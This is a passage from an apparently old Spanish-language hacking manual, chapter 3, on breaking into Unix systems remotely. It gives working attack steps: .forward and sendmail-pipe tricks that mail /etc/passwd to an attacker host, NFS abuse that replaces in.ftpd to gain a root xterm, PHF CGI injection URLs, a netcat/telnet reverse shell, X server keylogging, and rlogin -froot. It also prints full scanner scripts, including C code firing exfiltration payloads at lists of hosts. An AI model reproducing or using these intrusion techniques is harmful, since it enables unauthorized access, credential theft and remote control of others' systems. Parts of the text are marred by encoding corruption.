verano. Saludos  a los  que vuelven, como  mi amigo  NBK que ya  lo he<br />
visto por  las news, y  a tantos otros.  Para los que se  han marchado<br />
como Crino,  Avalanche, etc&#8230;si  no encuentran algun  capitulo porque<br />
haya  expirado, etc,  al  final  voy a  intentar  ensamblar todos  los<br />
capitulos   en  un   solo  documento   comprimido  y   lo   dejare  en<br />
es.binarios.misc, para no consumir ancho de banda.</p>
<p>Saludos,</p>
<p>LECTER</p>
<p>CPH. CAPITULO 3.INTRODUCCION EN EL SISTEMA</p>
<p>En este capitulo consideraremos tecnicas de acceso remoto (a traves de<br />
la red)  y en el siguiente  estudiaremos el acceso  local, que tambien<br />
recibe el nombre  de &#8220;ataque con escalada de  privilegios&#8221;. Existe una<br />
progresion cuando  el atacante se  introduce de manera remota  y luego<br />
consigue el acceso a la shell local. Habra que alcanzar privilegios de<br />
root y mantenerlos, asi como  actuar sobre el sistema para adecuarlo a<br />
futuras visitas o a otros propositos.</p>
<p>Existen varios metodos fundamentales para introducirnos remotamente en<br />
un sistema unix:</p>
<p>(1) Fallos  de  seguridad  de  aplicaciones basadas  en  el  protocolo<br />
TCP/IP.</p>
<p>(2) Defectos de  configuracion en los servicios  de red NFS,  NIS y en<br />
formularios web.</p>
<p>(3) Mala configuracion en los  archivos hosts.equiv y .rhosts y empleo<br />
de los llamados &#8220;comandos *r de unix&#8221;.</p>
<p>(4) Exploits para ciertos procesos que  se basan en bugs de los mismos<br />
o  en ataques para  desbordar la  pila del  proceso y  ejecutar codigo<br />
arbitrario  que permiten  conseguir  una shell,  una  rootshell si  el<br />
proceso corresponde a un programa que tiene el bit setuid activado.</p>
<p>(5) Tecnicas oscuras: Ataques  DoS, IP Spoofing, hijacking, ingenieria<br />
social, web  hostiles&#8230;Estas tecnicas no  deberian usarse mas  que en<br />
situaciones  muy  criticas.  He  pensado dedicar  un  capitulo  final,<br />
despues del  de borrar las huellas para  incluir estos procedimientos,<br />
quiza con el titulo de &#8220;la mitad oscura&#8221;.</p>
<p>Podemos emplearlas  de dos modos  diferentes para introducirnos  en el<br />
sistema: hacerlo directamente consiguiendo una cuenta en el objetivo o<br />
indirectamente haciendonos con el fichero /etc/passwd para crackearlo.</p>
<p>3.1. Fallos de seguridad en aplicaciones TCP/IP</p>
<p>3.1.1 TFTP (Trivial File Transfer Protocol)</p>
<p>Se trata  de una  transferencia de archivos  por udp. Se  utiliza para<br />
arrancar estaciones de trabajo o routers y esta basado como ya dije en<br />
udp escuchando  por el  puerto 69  ;-P. Si el  servidor TFTP  esta mal<br />
configurado, podemos conseguir el  fichero /etc/passwd. En las ultimas<br />
versiones quedan  configurados de manera  predeterminada para prohibir<br />
el  acceso a  cualquier  directorio excepto  /tftpboot.  Pero en  este<br />
directorio  existe informacion  comprometedora sobre  los  archivos de<br />
configuracion      de     los      routers      (generalmente     como<br />
&lt;nombrehostdelrouter&gt;.cfg)  y  los   intrusos  pueden  acceder  a  las<br />
contrase=F1as  de los  routers y  a las  cadenas SNMP  (Simple Network<br />
Management Protocol), con lo cual comprometeremos redes completas.</p>
<p>3.1.2 FTP</p>
<p>Muchos  servidores  mal configurados  permiten  tener acceso  anonimo,<br />
permitiendo  iniciar  una  sesion  sin necesidad  de  autenticacion  y<br />
pudiendo   acceder   a  toda   la   estructura   de  directorios   del<br />
sistema&#8230;Pero esto  son habas  contadas y muy  peregrino debe  ser el<br />
root para meter la pata de  ese modo.  Algunas veces me han hablado de<br />
servidores  FTP  que disponian  de  directorios  donde podia  escribir<br />
cualquiera,  con lo  cual  los atacantes  podrian  colocar un  fichero<br />
.rhosts (como  ya veremos) en el  directorio /home de  algun usuario y<br />
luego hacer un rlogin  sin autenticacion. Habia una estratagema basada<br />
en esto que permitia conseguir  el fichero /etc/passwd de modo curioso<br />
y sin magno artificio: Un  archivo .forward en el directorio /home/ de<br />
un usuario  dirige el correo a  una cuenta diferente  o ejecuta alguna<br />
instruccion  cuando  llega correo.  De  este  modo,  si escribimos  un<br />
fichero (en nuestra maquina atacante darkstar.us.es) lecter_forward de<br />
este modo:</p>
<p>$&gt;echo &#8220;/bin/mail <a href="mailto:lecter@darkstar.us.es">lecter@darkstar.us.es</a> &lt; /etc/passwd&#8221; &gt; lecter_forward</p>
<p>Luego nos conectamos por ftp al objetivo</p>
<p>$&gt;ftp objetivo.net</p>
<p>Si fuera posible escribir en /home/ftp/ podriamos hacer</p>
<p>ftp&gt;put lecter_forward .forward<br />
ftp&gt;quit</p>
<p>y luego mandamos un correo al &#8220;usuario ftp&#8221;</p>
<p>$&gt;echo hello chump | mail <a href="mailto:ftp@objetivo.net">ftp@objetivo.net</a></p>
<p>Cuando llegue  el correo se  ejecutara la instruccion contenida  en el<br />
fichero  .forward  y recibiremos  por  correo  el fichero  /etc/passwd<br />
 <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> )&#8230;Pero   a  mi   nunca  me   ha  funcionado.    Aparte   de  estas<br />
vulnerabilidades existen otras debidas a condiciones de desbordamiento<br />
del buffer  en versiones anteriores de  wu-ftp 2.4.2, pero  esto ya lo<br />
veremos en el epigrafe de los exploits.</p>
<p>3.1.3 SMTP</p>
<p>Aunque hay  otros mas seguros como  smail y qmail, sendmail  es el MTA<br />
(Mail Transfer  Agent) mas usado en  el mundo unix. Si  sendmail no se<br />
configura  adecuadamente,  puede  presentar  problemas  de  seguridad,<br />
ademas  de  los inherentes  a  fallos  y  vulnerabilidades del  propio<br />
programa. Una frase corriente hasta  hace poco tiempo (la seguridad de<br />
sendmail ha mejorado  bastante en los ultimos anyos)  era &#8220;Wellcome to<br />
the sendmail bug of the week!&#8221;.</p>
<p>Un ataque  con solera  (para la  version sendmail 4.1)  se baso  en la<br />
vulnerabilidad de la &#8220;sendmail  pipe&#8221;, que permitia al intrusoejecutar<br />
instrucciones mediante  sendmail con privilegios de  bin. En versiones<br />
anteriores a  sendmail 5.57 podiamos enviarnos  el fichero /etc/passwd<br />
simplemente haciendo:</p>
<p>$&gt;telnet objetivo.net 25<br />
=2E..<br />
helo<br />
=2E..<br />
mail from: &#8220;|/bin/mail <a href="mailto:lecter@darkstar.us.es">lecter@darkstar.us.es</a> &lt; /etc/passwd&#8221;<br />
rcpt to: johnsilver<br />
data<br />
=2E<br />
quit</p>
<p>Pero para  aprovechar los fallos de  sendmail es mejor  recurrir a los<br />
exploits como se vera en el correspondiente epigrafe.</p>
<p>3.2 Defectos de configuracion de servicios de red</p>
<p>3.2.1 NFS</p>
<p>Ya sabemos que  si el servicio nfs esta  mal configurado podemos hacer<br />
algunas  cosillas <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ).  Si hacemos  un rpcinfo  -p objetivo.net  y nos<br />
encontramos  con   algunas  lineas  en  cuyos   puertos  escuchan  los<br />
servidores mountd y nfs, podemos mediante un showmount -e objetivo.net<br />
los directorios exportados.</p>
<p>En  caso de  que no  tuvieramos  un objetivo  concreto podemos  buscar<br />
maquinas con ficheros exportables mediante el script perl getdomain.pl<br />
de Invisible Evil, que muestro a continuacion:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;/begin getdomain.pl&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
#!/usr/bin/perl</p>
<p># GetDomain By Nfin8 / Invisible Evil<br />
# Questions /msg i-e  or  /msg i^e<br />
#<br />
# Retrieve command line arguments.<br />
my($inputfile, $domain) =3D @ARGV;<br />
usage() if (!defined($inputfile) || !defined($domain));</p>
<p># Open and preprocess the input file.<br />
open(INFILE, &#8220;&lt;$inputfile&#8221;) or die(&#8220;Cannot open file $inputfile for reading!\n&#8221;);<br />
my(@lines) =3D &lt;INFILE&gt;;</p>
<p># Initialize main data structure.<br />
my(%hash) =3D {};<br />
my($key) =3D &#8220;&#8221;;</p>
<p>foreach (@lines) {<br />
$key =3D (split(/\ /))[0];<br />
chop($key);<br />
next if ((($key =3D~ tr/.//) &lt; 1) ||<br />
(uc($domain) ne uc(((split(/\./, $key))[-1]))) ||<br />
($key =3D~ m/root-server/i));<br />
$hash{$key}++;<br />
}</p>
<p># Close input file and output data structure to STDOUT.<br />
close(INFILE);</p>
<p>foreach (sort(keys(%hash))) {<br />
print &#8220;$_\n&#8221;;<br />
}</p>
<p>sub usage {<br />
print(&#8220;\n\ngetdomain:\n&#8221;);<br />
print(&#8220;Usage: getdomain [inputfile] [search]\n\n&#8221;);<br />
print(&#8220;Where [search] is one of \&#8217;com\&#8217;, \&#8217;edu\&#8217;, \&#8217;gov\&#8217;, \&#8217;mil\&#8217; or \&#8217;net\&#8217;.\n\n&#8221;);<br />
exit(0);<br />
}<br />
�<br />
0;<br />
�<br />
&#8212;&#8212;&#8212;-/end of getdomain.pl&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Para utilizarlo habeis de disponer de listas de maquinas que se pueden<br />
obtener facilmente por ftp de rs.internic.net con las extensiones:</p>
<p>com.zone.gz<br />
edu.zone.gz<br />
gov.zone.gz<br />
mil.zone.gz<br />
net.zone.gz<br />
org.zone.gz</p>
<p>Despues de descomprimirlas con gunzip ejecutamos el script asi:</p>
<p>$&gt;perl getdomain.pl com.zone com &gt; com.all</p>
<p>y lo mismo con las otras zonas&#8230;</p>
<p>Luego  hay  que  usar  otro  script llamado  cmount.pl  para  ver  los<br />
directorios exportados. Aqui lo teneis</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;-/begin cmount.pl&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
#/usr/bin/perl -w<br />
#<br />
# Check NFS exports of hosts listed in file.<br />
# (Hosts are listed, once per line with no additional whitespaces.)<br />
#<br />
# <a href="mailto:ii@dormroom.pyro.net">ii@dormroom.pyro.net</a> &#8211; 2/27/97.</p>
<p># Assign null list to @URLs which will be added to later.<br />
my(@result) =3D ();<br />
my(@domains) =3D ();<br />
my($program) =3D &#8220;showmount -e &#8220;;</p>
<p># Pull off filename from commandline. If it isn&#8217;t defined, then assign default.<br />
my($DomainFilename) =3D shift;<br />
$DomainFilename =3D &#8220;domains&#8221; if !defined($DomainFilename);</p>
<p># Do checking on input.<br />
die(&#8220;mountDomains: $DomainFilename is a directory.\n&#8221;) if (-d<br />
$DomainFilename);<br />
�<br />
# Open $DomainFilename.<br />
open(DOMAINFILE, $DomainFilename) or<br />
die(&#8220;mountDomains: Cannot open $DomainFilename for input.\n&#8221;);<br />
�<br />
while (&lt;DOMAINFILE&gt;) {<br />
chomp($_);<br />
print &#8220;Now checking: $_&#8221;;</p>
<p># Note difference in program output capture from &#8220;geturl.pl&#8221;.�<br />
open (EXECFILE, &#8220;$program $_ |&#8221;);<br />
@execResult =3D &lt;EXECFILE&gt;;<br />
next if (!defined($execResult[0]));<br />
if ($execResult[0] =3D~ /^Export/) {<br />
print &#8221; &#8211; Export list saved.&#8221;;<br />
open (OUTFILE, &#8220;&gt;$_.export&#8221;);<br />
foreach (@execResult) {<br />
print OUTFILE;<br />
}<br />
close (OUTFILE);<br />
}<br />
close(EXECFILE);<br />
print &#8220;\n&#8221;;<br />
}<br />
�<br />
# We are done. Close all files and end the program.<br />
close (DOMAINFILE);</p>
<p>0;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; end of cmount.pl<br />
Bueno, imaginemos que en el caso de nuestro objetivo, nos sale.</p>
<p>#&gt;showmount -e objetivo.net<br />
/    (everyone)<br />
/usr (everyone)</p>
<p>=A1Magn=EDfico! (Pero  no caera  esa breva) porque  podriamos comenzar<br />
mountando</p>
<p>#&gt;mount -nt nfs objetivo.net:/ /mnt</p>
<p>Pero  existe una  excelente herramienta  llamada nfsshell  escrita por<br />
Leendert van Door que podreis encontrar en</p>
<p><a href="ftp://ftp.cs.vu.nl/pub/leendert/nfsshell.tar.gz">ftp://ftp.cs.vu.nl/pub/leendert/nfsshell.tar.gz</a></p>
<p>que nos proporciona  un cliente robusto llamado nfs  que funciona como<br />
cliente  ftp  y  permite  manipular facilmente  cuakquier  sistema  de<br />
archivos remotos. Una vez instalado, haced en un xterm</p>
<p>#&gt;nfs</p>
<p>y  aparecera  el  prompt  nfs&gt;.   Si  haceis  help  vereis  todas  las<br />
posibilidades=2E Bueno, al grano:</p>
<p>nfs&gt;host objetivo.net (indica el host que queremos montar)</p>
<p>Luego miramos los archivos exportados</p>
<p>nfs&gt;export<br />
/     everyone<br />
/usr  everyone</p>
<p>Ahora tenemos que montar / para acceder al sistema de archivos con</p>
<p>nfs&gt; mount /</p>
<p>Podemos ver el status de la conexion y el UID usado cuando se monto el<br />
archivo con</p>
<p>nfs&gt;status<br />
=2E..</p>
<p>Como  ya tenemos  el  sistema  de archivos  montado  posemos mirar  el<br />
contenido de /etc/passwd:</p>
<p>nfs&gt;cd /etc</p>
<p>nfs&gt; cat passwd<br />
=2E..</p>
<p>El listado de /etc/passwd nos da los nombres de los usuarios y sus ID,<br />
pero  generalmente estaran &#8220;sombreados&#8221;  (shadowed passwords)  con una<br />
&#8220;x&#8221;  (generalmente)   en  el  segundo  campo  de   cada  registro.  No<br />
importa. Busquemos un  usuario daemon o bin. Si  podemos acceder a los<br />
binarios, =A1asunto zanjado! Suponfamos que existe el registro:</p>
<p>bin:x:2:2::/usr/bin</p>
<p>Vamos a montar /usr y cambiar nuestro UID y GID al de bin:</p>
<p>nfs&gt;mount /usr</p>
<p>nfs&gt;uid 2</p>
<p>nfs&gt;gid 2</p>
<p>(y lo comprobamos con nfs&gt;status)</p>
<p>A  partir de  ahora,  tenemos los  privilegios  de bin  en el  sistema<br />
remoto. Ahora podemos  crear un canal trasero con  el siguiente script<br />
en  nuestro sistema (darkstar.us.es)  y llamarlo  in.ftpd en  el mismo<br />
lugar donde  activamos el cliente nfs  (abrimos un xterm  y hacemos vi<br />
in.ftpd  en el  mismo directorio  donde  lanzamos el  cliente nfs.  El<br />
contenido del script sera:</p>
<p>#!/bin/sh<br />
/usr/&#8212;ruta hasta&#8211;/bin/xterm -display darkstar.us.es:0.0 &amp;</p>
<p>luego lo salvamos y le damos permisos de ejecucion.</p>
<p>Despues volvemos al otro xterm y hacemos</p>
<p>nfs&gt;cd /sbin</p>
<p>nfs&gt;put in.ftp</p>
<p>De   esta  manera   copiamos   in.ftpd  a   /sbin,  reescribiendo   el<br />
original.  Entonces  desde la  otra  xterm  permitimos a  objetivo.net<br />
conectarse a nuestro servidor X:</p>
<p>#&gt;xhost +objetivo.net<br />
=2E..</p>
<p>#&gt;ftp objetivo.net</p>
<p>Lo  que  sucedera  es  que  aparecera  en  nuestro  sistema  un  xterm<br />
perteneciente  al  administrador de  objetivo.net,  pues  al llamar  a<br />
in.ftpd desde inetd, este  ejecutara nuestro script con privilegios de<br />
root.<br />
3.2.2 NIS</p>
<p>Ya hemos hablado del NIS,  anta=F1o conocido como Yellow Pages (de ahi<br />
el  yp&#8230;).  Cuando  hacemos  rpcinfo  -p objetivo.net  y  aparece  un<br />
servidor ypserv ya estamos seguros  de que el NIS esta funcionando. Si<br />
mediante algun artificio tuvieramos una  cuenta en una maquina con NIS<br />
tendriamos  la posibilidad  de  acceder al  archivo /etc/passwd.  Para<br />
saber si en una maquina  donde tenemos cuenta funciona NIS, hacemos ps<br />
ax y si  aparece el conocido ypserv =A1ya esta!  En tal caso podriamos<br />
usar el comando ypcat:</p>
<p>$&gt;ypcat /etc/passwd&gt; ~/passwd</p>
<p>para copiarnos  el /etc/passwd  en nuestro home.  En caso de  no tener<br />
privilegios  para  ejecutar ypcat  o  si no  esta,  se  puede usar  el<br />
programa pwget (este  lo veremos en el capitulo  4 destinado al acceso<br />
local). Ademas existe  un programa llamado ypx para  extraer los mapas<br />
de un servidor NIS y lo podeis encontrar en:</p>
<p><a href="http://morehouse.org/hin/root/ypx.tgz">http://morehouse.org/hin/root/ypx.tgz</a></p>
<p>Su uso es muy sencillo:</p>
<p>ypx -m passwd nombre_dominio_NIS<br />
3.2.3 Inseguridades en scripts CGI</p>
<p>La  interfaz CGI  (Common Gateway  Interface) permite  la comunicacion<br />
entre programas cliente y un servidor que emplea el protocolo http. El<br />
protocolo de comunicaciones  usado por el script CGI  y el servidor es<br />
el TCP/IP usando por defecto  el puerto 80. Las vulnerabilidades no se<br />
deben a fallos  de CGI, sino a errores en  las especificaciones HTTP y<br />
programas del  sistema. La  parte fundamental de  un script CGI  es un<br />
documento  HTML llamado  FORM (Formulario).  Los scripts  CGI deberian<br />
realizar  el  filtrado  de   los  contenidos  del  campo  &lt;INPUT&gt;  del<br />
formulario  (entradas  de  usuarios),  pero  en muchos  casos,  no  lo<br />
hacen&#8230;con lo cual es posible ganar  un acceso ;-D.  PHF es un script<br />
CGI  estandar en  las primeras  versiones del  servidor Apache  y NCSA<br />
HTTPD. Aunque  parezca raro, todavia  hay sistemas que  presentan esta<br />
vulnerabilidad, por eso la cuento.  El programa de marras no procesaba<br />
ni  validaba adecuadamente  la entrada.  PHF aceptaba  el  caracter de<br />
newline (%0a) y  ejecutaba cualquier mandato posterior con  la UID del<br />
usuario que estuviera ejecutando el servidor (generalmente nobody). El<br />
codigo utilizado  era el siguiente,  que puede lanzarse  desde nuestro<br />
navegador (lynx para los castizos; Netscape para los modelnos):</p>
<p><a href="http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/bin/cat%20/etc/passwd">http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/bin/cat%20/etc/passwd</a></p>
<p>De este modo (%20) es un espacio) podria tenerse acceso a /etc/passwd;<br />
pero si estan sombreados habra que pensar en otra cosita:</p>
<p><a href="http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/usr/X11R6/bin/xterm%20-ut%20-display%20darkstar_IP:0.0">http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/usr/X11R6/bin/xterm%20-ut%20-display%20darkstar_IP:0.0</a></p>
<p>El  servidoe web remoto  ejecutara un  xterm y  lo montara  en nuestro<br />
servidor X (darkstar.us.es) con un ID de ventana 0 y un ID de pantalla<br />
0. Como esta  activada la  opcion -ut, el  sistema no  registrara esta<br />
actividad.  Hay numerosos scripts  para buscar sistema con scripts CGI<br />
y PHF como vereis a continuacion:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-/begin cgi scanner&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>/* This source is absolutely free to use and modify at you own risk, please<br />
do not change some chars and say that this program is yours or i&#8217;ll die the<br />
next day&#8230; <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> . Pay attention, this file is for research purpose only, do not<br />
use it into any hacking way. Is possible to be logged while running the<br />
program, so PAY ATTENTION!.<br />
Tested on Linux RedHat 5.0 and Win95 compiled with Cygnus Gnu win32.</p>
<p>Many Thanks goes to s0ftpr0ject and Orda of the Badlands groups!<br />
I want also give a big thanks to:</p>
<p>Goku: my linux guru<br />
SMaster: my prezident<br />
MaNdraKe: and his future girlfriends<br />
Pr3dator: for his help on linux (go slower on cars!:pPp)<br />
PhoenYx: the best italian hacker<br />
Berk: a cool friend and a wannabe hacker<br />
xOANON: the best cracker all around<br />
Golem: for his bot, what about setting it on #softpj? <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
Spaceone: a good friend<br />
TanK_GirL: a future hacker! (i hope)<br />
RootShell: for many source and ideas</p>
<p>I want also give a big fuck to:</p>
<p>Telecom Italia: u must die!<br />
WarLords: Good ircwarriors but stupid people<br />
Alexb: pay attention at your fuckin&#8217; shells<br />
Lamers: try to be more newbies!</p>
<p>by |scacco|</p>
<p>Add-on By Dark Schneider</p>
<p>*/</p>
<p>#include &lt;sys/stat.h&gt;<br />
#include &lt;sys/types.h&gt;<br />
#include &lt;termios.h&gt;                 �<br />
#include &lt;stdio.h&gt;<br />
#include &lt;string.h&gt;<br />
#include &lt;fcntl.h&gt;<br />
#include &lt;sys/syslog.h&gt;<br />
#include &lt;sys/param.h&gt;<br />
#include &lt;sys/times.h&gt;           �<br />
#include &lt;sys/time.h&gt;                         �<br />
#include &lt;sys/socket.h&gt;<br />
#include &lt;netinet/in.h&gt;<br />
#include &lt;sys/signal.h&gt;<br />
#include &lt;arpa/inet.h&gt;<br />
#include &lt;netdb.h&gt;<br />
#define MAXSTR 12</p>
<p>main (int argc, char *argv[])<br />
{<br />
struct sockaddr_in sin;<br />
/* int outsocket, serv_len, len,c,outfd; */<br />
/* struct hostent *nametocheck; */<br />
/* struct in_addr outgoing; */<br />
struct hostent *hp;<br />
char host[100], buffer[1024], hosta[1024],FileBuf[8097];<br />
int sock, i=3D0, X;<br />
char  *stringhe[MAXSTR];<br />
for(i=3D0;i&lt;MAXSTR;i++) {<br />
stringhe[i]=3D(char *) malloc(sizeof(char)*100);<br />
}<br />
�<br />
/* Classic PHF bug&#8230; It still Works! */<br />
�<br />
stringhe[0]=3D&#8221;GET /cgi-bin/phf?Qalias=3Dx%0a/bin/cat%20/etc/passwd\n&#8221;;<br />
�<br />
/* test-cgi bug, possible to view documents location */<br />
�<br />
stringhe[1]=3D&#8221;GET /cgi-bin/test-cgi?*\n&#8221;;<br />
�<br />
/* htmlscript bug, a good language that can us have passwd <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  */<br />
�<br />
stringhe[2]=3D&#8221;GET /cgi-bin/htmlscript?../../../../etc/passwd\n&#8221;;<br />
�<br />
/* view-source bug, some httd use this&#8230; */<br />
�<br />
stringhe[3]=3D&#8221;GET /cgi-bin/view-source?../../../../etc/passwd\n&#8221;;<br />
�<br />
/* Wrap allow you to have a directory listing on IRIX 6.2 systems */<br />
�<br />
stringhe[4]=3D&#8221;GET /cgi-bin/wrap?/../../../../../etc\n&#8221;;<br />
�<br />
/* Campas allow you to get the passwd on NCSA server 1.2 */<br />
�<br />
stringhe[5]=3D&#8221;GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a\n&#8221;;<br />
�<br />
/* With pfdisplay &amp; webdist is possible to get the passwd on IRIX 6.2 systems */<br />
�<br />
stringhe[6]=3D&#8221;GET /cgi-bin/pfdisplay.cgi?/../../../../etc/passwd\n&#8221;;<br />
�<br />
stringhe[7]=3D&#8221;GET /cgi-bin/webdist.cgi?distloc=3D;cat%20/etc/passwd\n&#8221;;</p>
<p>/* With aglimpse is possible to mail the password file anywhere <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  */<br />
�<br />
stringhe[8]=3D&#8221;GET /cgi-bin/aglimpse/80|IFS=3D5;CMD=3D5mail5dashie\@cyberdude.com\&lt;/etc/passwd;eval$CMD;echo\n&#8221;;<br />
�<br />
/* An interesting variant for phf*/</p>
<p>stringhe[9]=3D&#8221;GET /cgi-bin/phf?Qalias=3Dx%0a/usr/bin/ypcat%20passwd\n&#8221;;</p>
<p>stringhe[10]=3D&#8221;GET /cgi-bin/php.cgi?/etc/passwd\n&#8221;;</p>
<p>/* a new test-cgi but the bug is the same <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  */</p>
<p>stringhe[11]=3D&#8221;GET /cgi-bin/nph-test-cgi?*\n&#8221;;<br />
�<br />
while(fgets(hosta,100,stdin))<br />
{<br />
if(hosta[0] =3D=3D &#8216;\0&#8242;)<br />
break;<br />
hosta[strlen(hosta) -1] =3D &#8216;\0&#8242;;<br />
write(1,hosta,strlen(hosta)*sizeof(char));<br />
write(1,&#8221;\n&#8221;,sizeof(char));<br />
�<br />
hp =3D gethostbyname (hosta);<br />
for(i=3D0;i&lt;MAXSTR;i++) {<br />
bzero((char*) &amp;sin, sizeof(sin));<br />
bcopy(hp-&gt;h_addr, (char *) &amp;sin.sin_addr, hp-&gt;h_length);<br />
sin.sin_family =3D hp-&gt;h_addrtype;<br />
sin.sin_port =3D htons(80);<br />
sock =3D socket(AF_INET, SOCK_STREAM, 0);<br />
X=3Dconnect(sock,(struct sockaddr *) &amp;sin, sizeof(sin));<br />
write(sock,stringhe[i],strlen(stringhe[i])*sizeof(char));�<br />
while((X=3Dread(sock,FileBuf,8096))!=3D0)<br />
write(1,FileBuf,X);<br />
�<br />
}</p>
<p>}<br />
printf(&#8220;\nScacco&amp;Dark Schneider &#8211; S0ft Pr0ject 98&#8243;);<br />
}</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;/end CGI scanner&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Hay otros pero este ya vale.</p>
<p>Bueno&#8230;y si el  administrador ha eliminado las X?  Entonces habra que<br />
recurrir a un canal trasero. En  la mayor parte de los servidores unix<br />
hay  instalado un  cliente telnet  sin restricciones  de  empleo. Para<br />
conseguir  nuestro  canal  trasero  realizaremos un  &#8220;telnet  inverso&#8221;<br />
utilizando  la herramienta  netcat  para activar  escuchas en  nuestro<br />
propio  sistema. Debemos  ejecutar los  siguientes comandos  en sendos<br />
xterms de nuestra maquina:</p>
<p>(xterm1)#&gt;nc -l -n -v -p 80</p>
<p>(xterm2)#&gt;nc -l -n -v -p 25</p>
<p>Hemos de asegurarnos de que no hay demonio alguno escuchando por tales<br />
puertos  en nuestro  sistema  y si  los hay  haced  un ps  ax y  luego<br />
matadlos  con kill  -9  &lt;pid&gt;. Los  dos  mandatos nc  escuchan en  los<br />
puertos 80  y 25 de nuestra  maquina. Para iniciar  el telnet inverso,<br />
ejecutamos en el servidor objetivo desde nuestro navegador:</p>
<p><a href="http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/bin/telnet%20darkstar_IP%2080%20|%20/bin/sh%20|%20/bin/telnet%20darkstar_IP%2025">http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/bin/telnet%20darkstar_IP%2080%20|%20/bin/sh%20|%20/bin/telnet%20darkstar_IP%2025</a></p>
<p>que equivaldria a hacer en la maquina remota:</p>
<p>/bin/telnet darkstar_IP 80|/bin/sh/|/bin/telnet darkstar_IP 25</p>
<p>El  mandato /bin/telnet darkstar_IP  80 se  conecta a  nuestra escucha<br />
netcat  en   el  puerto  80.  Aqui  es   donde  escribiremos  nuestras<br />
ordenes. La salida estandar o las pulsaciones de teclas que hagamos se<br />
introduciran  en  /bin/sh.  Posteriormente,  el  resultadode  nuestros<br />
mandatos se dirigira a /bin/telnet darkstar_IP 25. Al final tenemos un<br />
telnet inverso  que se ejecuta  en dos ventanas separadas.  Se escogen<br />
los  puertos 80  y 25  porque son  servicios comunes  que generalmente<br />
permiten  los  cortafuegos.  Existen   otros  modos  de  explotar  las<br />
vulnerabilidades CGI, pero se llevan a cabo desde acceso local.</p>
<p>3.2.4 Vulnerabilidades de servidores X</p>
<p>Muchos   servidores  X   ejecutan  de   forma   predeterminada  xhost+<br />
permitiendo que cualquier usuario local  o remoto acceda al servidor X<br />
sin autenticarse  y muchos administradores ni se  percatan. Existe una<br />
utilidad llamada xscan que podeis encontrar en</p>
<p><a href="http://morehouse.org/hin/root/xscan.tar.gz">http://morehouse.org/hin/root/xscan.tar.gz</a></p>
<p>que  permite   identificar  los  servidores  X   que  tienen  activado<br />
xhost+. Una vez instalada hacemos</p>
<p>$&gt;xscan objetivo.net<br />
=2E..<br />
Connecting to objetivo.net&#8230;on port 6000<br />
connected<br />
Host objetivo.net is running X<br />
Starting keyboard logging of host objetivo.net<br />
:0.0 to file KEYLOGobjetivo.net:0.0.</p>
<p>A  partir de  ahora, cualquier  pulsacion  de teclas  realizada en  la<br />
consola  de  la  maquina  remota  quedara  registrada  en  el  archivo<br />
KEYLOGobjetivo.net. Si ejecutamos un tail sobre el archivo de registro<br />
podemos ver lo que el usuario esta escribiendo en el teclado:</p>
<p>$&gt;tail -f KEYLOGobjetivo.net:0.0<br />
su -<br />
[shift_L * Iamowned (Shift_R)]</p>
<p>Asi vemos que el usuario ha ejecutado el comando su con el password de<br />
root &#8220;Iamowned&#8221; <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> )).<br />
3.3 Mala configuracion de hosts.equiv y .rhosts</p>
<p>En una red basada en TCP/IP el fichero /etc/hosts.equiv es una base de<br />
datos general  que controla el acceso  a nivel de hosts,  y el fichero<br />
/home/usuario/.rhosts  controla el  acceso  a la  maquina  a nivel  de<br />
usuario. Las maquinas cuyos  nombres encontremos en /etc/hosts.equiv o<br />
en ~/.rhosts  se llaman  &#8220;trusted hosts&#8221; o  maquinas de  confianza por<br />
parte del objetivo. Cuando  intentamos conectarnos a la maquina remota<br />
mediante  rlogin (la  maquina remota  ha de  tener el  puerto  513 tcp<br />
rlogin activo)</p>
<p>$&gt;rlogin -l objetivo.net</p>
<p>el demonio rlogin  busca en /etc/hosts.equiv por el  nombre de nuestra<br />
maquina y si lo encuentra, hemos conseguido el acceso. Tambien podemos<br />
intentarlo haciendo</p>
<p>~&gt;rlogin -l usuario objetivo.net</p>
<p>entonces  rlogin busca  el nombre  de  nuestra maquina  en el  fichero<br />
/home/usuario/.rhost y  si la  encuentra, tambien hemos  conseguido el<br />
acceso.  Un  antiguo &#8220;bug&#8221; de rlogin permitia  conseguir una rootshell<br />
haciendo</p>
<p>$&gt;rlogin objetivo.net -l -froot.</p>
<p>Si  una maquina  tiene  el rlogin  activado  (y no  tiene filtros  tcp<br />
